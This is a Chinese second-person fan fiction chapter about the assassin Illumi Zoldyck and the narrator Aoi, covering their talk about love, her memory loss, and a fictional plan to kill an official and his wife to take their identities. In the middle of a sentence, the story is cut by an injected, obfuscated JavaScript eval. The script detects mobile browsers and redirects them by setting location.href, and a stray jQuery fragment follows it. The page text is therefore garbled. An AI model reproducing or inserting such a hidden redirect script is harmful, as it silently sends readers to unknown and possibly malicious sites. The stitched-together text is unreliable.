阳光下的海水泛着漂亮的果冻色,你欣赏着美景,往嘴巴里塞了一块桂花糕。


    “……伊路,你觉得什么是爱呢?”


    “哪一种爱?”


    “唔……它的定义是有点宽泛,我想想。”你从手边的食盒里拿起第二块,“亲人之间的?”


    “揍敌客。”


    “嗯?”


    伊尔迷坐在你身旁,同样吃着一块桂花糕,尾音微微上扬,“对我来说,「爱」是「揍敌客」。”


    “为什么?”


    “这是理所当然的,家族里的每个人都爱着彼此哦。”


    “你一直都这么想吗?”


    伊尔迷轻轻歪了歪头。


    “我倒不是觉得有问题啦。就是感觉,你是不是把家族看得比自己还重要呢?”


    “当然。揍敌客家的每个人都应该这样。”他顿了顿,“葵,你也应该这样。”


    “那我肯定要让你失望了。「爱」对我来说,是很恐怖的东西。”


    “恐怖?”


    “嗯,如果说这是「爱」。”你在沙滩上戳了个小洞,往伊尔迷的方向画出一条线,“这里是「生」。”


    手指折返回来,向反方向画出另一条线,“这里是「死」。”


    “在我看来,爱在生死之间,一旦陷入其中,只会导向这两个结局。而根据我的观察,”食指划开沙砾,往左边打了个箭头,“50%以上的结果,是自我毁灭。”


    “任何关系里,失去自我都是最最可怕的事,所以,我是不会把任何东西排在我自己之前的。”


    伊尔迷看着地上的线,没有说话。


    你观察着他的表情,“伊路,我想说的是,你也一样——你首先是伊尔迷,然后才是揍敌客。家人当然重要,你也重要。”


    伊尔迷沉默着皱起了眉,这比他笑的次数还要少。你立刻后悔了。


    “只是一点我的个人见解啦,你就当我在胡言乱语好了,别想太多。啊,这个刚好还有两块,我们一人一块吧。给,你快吃。”


    你拿起一块桂花糕递过去,被他躲开了。


    “???”


    “上面沾了沙子。”


    “……”你刚刚是忘了擦手没错,“你连蟾蜍的黏液都敢喝,这种时候洁癖什么啊!”


    你愤愤地把桂花糕塞进自己嘴里,在口袋里摸了摸,发现纸巾不知道什么时候用完了。


    面前递来一块手帕。


    你用力吞下糕点,接过来惊奇地问他,“你竟然会随身带手帕?纸不是更方便吗?”


    “工作上有时候需要处理一些痕迹,纸很容易坏掉。”


    “哦,你说的很有道理。”


    等等,工作……痕迹?你低头看了看被你捏成一团的手帕。


    “给你的是没用过的。”


    “……那就好。”你摊开手帕,重新擦了擦手,“干脆下次我也带一条吧,可是手帕脏了还要洗,好麻烦哦。”


    你只是随口一说,伊尔迷接触到你的目光,蹦出一句,“我不会帮你洗的。”


    “……我倒也没有不要脸到那种程度啊!”


    你不爽地把手帕叠了叠,塞进口袋,“这个我会洗干净了再还给你。”


    “你可以不用还。葵,你刚刚为什么要问那个问题?”


    “什么问题?”


    “爱。”


    转移话题失败。


    “那是因为……因为什么来着?欸?”明明上一秒你的脑子里是有答案的,“对哦,我为什么要问这个问题?”


    你想了一会,思考无果,看了看身后空空如也的沙滩,陷入新的疑惑。


    “说起来,我们俩在这里干什么呢?玩荒野求生吗?”


    “不是你说''对奥罗拉的传闻感兴趣'',我们才过来的吗?”


    奥罗拉的传闻?好像是有这么一回事。


    “可是这座岛上不是什么都没有吗?我们为什么还不回去呢?”


    “舍夫的船坏了,他还在修。”


    舍夫?你看到了停靠在不远处的渔船和正在船上忙活的人。没错,你们是坐舍夫的船来的。这没什么问题,又好像有哪里怪怪的,你说不上来,捂住脸哀叹一声,“伊路,我好像又失忆了。”


    *


    直到你们回到谢洛村,你也没想出个所以然。你们订的旅馆在附近的镇上,到了那里,你发现自己的失忆症比想象中更严重。


    “我们为什么要订两间房呢?”你握着钥匙,百思不得其解,“我的意思是,为什么是一个双人间和一个单人间?不应该是一个双人间,或者两个单人间吗?我们昨天到底是怎么住的呀?”


    “我住这间。”伊尔迷指了指单人间,“因为我们昨天吵架了,你说不想看到我。”


    “啊?吵架?因为什么吵架?”


    “唉。你真的忘得很彻底。你总还记得我们为什么要来这里吧?”


    “……不记得。”你跟着他走到房间里,心越来越凉,“为什么?”


    “我接了一个新工作,地点在东果陀。”伊尔迷关上门,抽出椅子坐下。


    “东果陀?”你记得它在米特聂联邦的最东边,和你们现在的位置相隔两个国家。


    “然后呢?它有什么问题?”


    “东果陀是一个封闭式的国家,对人员流动的管控很严格,国内密告组织势力庞大,很难潜伏。这次的任务目标是个大人物,为了接近他,我需要有一个合理的、经得起调查的身份。”


    “也就是说,你不能用假身份。”


    “没错。”接着他就不说话了。


    你已经明白了他想表达的意思。


    “被你借用身份的人……是''任务目标之外的人''吧。”


    “嗯,不太划算呢。”


    “你——”


    “昨天,就是因为我说了这句话,你突然生气了。”


    伊尔迷漆黑的眼睛注视着你。


    显然,你的反应完全在他意料之中。你刚生出的怒火仿佛被一下子浇灭,浇了个透心凉。


    你低下头,看着地面,“我现在知道我们为什么吵架了。”


    “你总是在意那些不重要的人,这样很不好。”


    一个人的重要与否是由什么决定的呢?是出于社会影响力的客观判断,还是某个人的主观考量?不论是哪一种,伊尔迷和你想的绝对不是一回事。


    “不是这样的,伊路。不是这样。”你摇摇头,抬起眼睛看着他,“所以你不觉得你哪里有错。”


    “不觉得。”


    你抿紧嘴唇。


    “但是,如果你不想听,我以后不会再在你面前说这种话。”


    我们各退一步,可以吗?他是这个意思。


    “……不,你不用在我面前伪装什么。说到底……是我自己想得不够清楚。你知道的,我们是朋友,我不会一直生你的气。”


    “是因为''划算''吗?”他突然说,“你生气是因为我说了这个词吗?”


    “……是啊。”


    “它有哪里不对?”


    “你真的想听?”你从伊尔迷的眼睛里得到了肯定的答复。


    “好吧。我接下来说的这些,不要告诉其他人——我对杀手这份工作没有那么认同,如果只把杀人当成工作,勉强也能接受,但是除开工作本身,掠夺生命这件事会让我很难受。生命是不能用任何东西衡量的。


    “我知道在这个世界说这种话会显得有点可笑,毕竟我又做不到去改变什么。但是至少,我希望你能理解我。它不是银行账户里或者统计表格上的一堆数字,它是真实存在的,失去了就不再有的,每个人都应该珍惜的东西。”


    “创造很难,毁灭却很容易。”你捂住脸,深深地叹了口气,“我其实不想跟你说这些。因为,我既害怕你不认同我,又害怕你听信了我的言论,变得跟我一样痛苦。我知道我的想法很幼稚、不成熟、理想化、不现实。我改变不了自己,我只能接受。”


    伊尔迷一直等到你说完才


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15673262|166534||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    开口。


    “我明白了,我说的那句话是对你的价值观的一种冒犯,我以后会注意这一点。葵,我很高兴你能跟我说这些。不用担心,它们不会影响我,同时,你也不用改变。工作之外,你不需要做任何勉强自己的事。”


    “我……”你从手心抬起脸,面前落下一片阴影,伊尔迷不知道什么时候站到了你身前,低着头,黑色的眼睛凝视着你。


    然后他抬手摸了摸你的头顶,“这样你会感觉好点吗?”


    你长这么大,只被村里的长辈摸过头,还是在你小时候。被这样当成小孩子安慰,感觉挺奇怪的,尤其是他还摸个不停。你等了一会,忍无可忍,“……你是在占我便宜吗?我今年是十八岁,不是八岁。”


    “你也摸过我。”


    好家伙,难怪他那天什么反应也没有,原来搁这儿等着呢。


    “……那也够了。”你抓住他的手腕,挤出一个僵硬的笑,“我很好,我现在完全不难受了。你坐下。”


    “好吧。”


    等他坐到你身边,你说起之前的话题,“你再跟我讲讲这次的工作是怎么回事吧,我一点都想不起来了。既然我也在这里,还是跟以前一样,我们分工?”


    “不是哦。你是陪我来的,到这里就好,工作由我一个人完成。”注意到你眼中的疑惑,伊尔迷解释道,“东果陀严禁使用手机,所以我在任务结束前不会跟外界联系。你好像是觉得时间太久了。”


    “你要在那边待多久?”


    “保守估计是两个月。”


    两个月都处于失联状态。你皱起眉,“听起来很危险。”


    “危险是正常的。”


    “你真的不需要我帮忙吗?如果遇到什么事……”你想起自己上回的乌鸦嘴,立马打住,“不管怎么说,两个月也太久了。你为什么要接这种工作?”


    “没有不接的理由。任务失败是另一回事。觉得困难就不做,没有这样的道理。”伊尔迷显然没有你那种顾虑,语气平静得像在谈论一件稀松平常的小事,“家里的拷打训练也是从小开始的,不用担心。”


    被抓住了也没事是吗?不用担心个鬼啦!什么狗屁训练!你发现你对揍敌客家的变态程度依然缺乏清醒的认知。


    “停。我觉得我们在出发前讨论这个不太吉利。”


    “准备得再充分也不能排除有意外情况发生的可能,一向如此。如果你来帮忙,我倒是会轻松一点。但是你不是说想要休息吗?你可以在这边度假,或者直接回家。”


    你心动了一秒。


    “还是算了。来都来了,晚两个月休息也没事。什么时候出发呢?”


    “一周以后,有一个政府官员出差回国,在他通过审查后替换他的身份。”


    “我的身份是什么?”


    “他的妻子。”


    “……一定要把人杀掉吗?不可以只是控制起来吗?”


    “这样做是没有意义的。任务结束后,如果他们还活着,一定会被本国组织抓去审问,如果在那之前送他们出国,则会增加我们暴露的风险。”


    “要是我不帮忙,只有你自己的话,你打算怎么处理他的妻子?”


    “用念针控制。会稍微有点麻烦呢。这些都是工作范围内的事。”


    “我知道了……还有一周的时间,我需要准备什么吗?”


    “只需要学会这个。”伊尔迷递给你一本书——《军仪从入门到精通》。


    “这是什么东西?不是,你什么时候买的书?”


    “东果陀流行的一种棋盘游戏,那个官员的妻子唯一的爱好就是下军仪。”伊尔迷只回答了你的前半个问题。


    你翻看了两页,“心平气和”地把它合上,“你跟我说实话,你是不是一早就准备好要让我帮忙了?”


    “不完全是。我只是觉得按照你的性格,大概率会跟我一起。你果然答应了。我很高兴呢。”


    如果你也有伊尔迷这么厚的脸皮,做什么都会成功的。